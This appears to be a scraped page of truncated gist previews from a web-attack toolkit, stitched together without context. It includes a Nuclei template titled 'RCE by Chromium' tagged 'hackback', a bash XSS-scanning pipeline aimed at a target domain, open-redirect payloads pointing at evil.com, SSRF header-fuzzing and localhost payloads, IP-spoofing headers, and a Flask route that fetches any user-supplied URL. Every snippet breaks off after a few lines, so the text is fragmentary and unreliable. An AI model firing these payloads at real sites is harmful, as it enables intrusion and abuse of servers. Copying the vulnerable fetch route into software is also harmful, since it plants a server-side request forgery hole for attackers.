| id: nuclei-rce | |
| info: | |
| name: Nuclei Template RCE by Chromium | |
| author: c3l3si4n | |
| severity: critical | |
| tags: rce,hackback | |
| headless: | |
| - steps: |
| #!/bin/bash | |
| #Requirements: KXSS(https://github.com/Emoe/kxss), Dalfox (https://github.com/hahwul/dalfox), QSreplace(https://github.com/tomnomnom/qsreplace) | |
| #Preparation: subfinder -d target.tld -all -silent | httpx -silent | gauplus --random-agent -b eot,jpg,jpeg,gif,css,tif,tiff,png,ttf,otf,woff,woff2,ico,pdf,svg,txt -t 100 -o params.txt && cat params.txt | gf xss | sed "s/'/ /g" | sed "s/(/ /g" | sed "s/)/ /g" | qsreplace "FUZZ" 2> /dev/null | anew -q testparams.txt | |
| #Usage: ./inxss.sh testparams.txt target.tld | |
| lists=$1 | |
| mkout=$(echo -e "$2_$(date +%F_%H_%M_%S)") | |
| mkdir -p $mkout | |
| echo -e "Total $(cat $1 | wc -l) targets loaded" | |
| sleep 6s | |
| echo -e "[$(date +"%F %H:%M:%S")] Starting scan..." |
| Tracker | |
| __gaTracker | |
| _csrf_token | |
| _ga | |
| a | |
| accept_latest_tos_url | |
| access_level | |
| active | |
| admin | |
| adrevenue |
| \/evil.com | |
| %5c%2fevil.com | |
| \/\/evil.com | |
| %5c%2f%5c%2fevil.com | |
| \\evil.com | |
| %5c%5cevil.com | |
| //evil.com | |
| %2f%2fevil.com | |
| //[email protected] | |
| /\/evil.com |
| id: header-injection | |
| info: | |
| name: Header SSRF Injection | |
| author: nullrabbit | |
| severity: high | |
| description: Fuzzing headers for OOB SSRF | |
| tags: fuzz,ssrf | |
| requests: |
| from flask import * | |
| import requests | |
| app = Flask(__name__) | |
| @app.route('/follow') | |
| def follow_url(): | |
| url = request.args.get('url', '') | |
| if url: | |
| return (requests.get(url).text) |
| http://127.0.0.1:80 | |
| http://127.0.0.1:443 | |
| http://127.0.0.1:22 | |
| http://0.0.0.0:80 | |
| http://0.0.0.0:443 | |
| http://0.0.0.0:22 | |
| http://localhost:80 | |
| http://localhost:443 | |
| http://localhost:22 | |
| https://127.0.0.1/ |
| import xml.etree.ElementTree as ET | |
| import urllib | |
| import base64 | |
| import math | |
| import sys | |
| import re | |
| # usage: Open Burp, navigate to proxy history, ctrl-a to select all records, right click and "Save Items" as an .xml file. | |
| # python burplist.py burprequests.xml | |
| # output is saved to wordlist.txt |
| CACHE_INFO: 127.0.0.1 | |
| CF_CONNECTING_IP: 127.0.0.1 | |
| CF-Connecting-IP: 127.0.0.1 | |
| CLIENT_IP: 127.0.0.1 | |
| Client-IP: 127.0.0.1 | |
| COMING_FROM: 127.0.0.1 | |
| CONNECT_VIA_IP: 127.0.0.1 | |
| FORWARD_FOR: 127.0.0.1 | |
| FORWARD-FOR: 127.0.0.1 | |
| FORWARDED_FOR_IP: 127.0.0.1 |
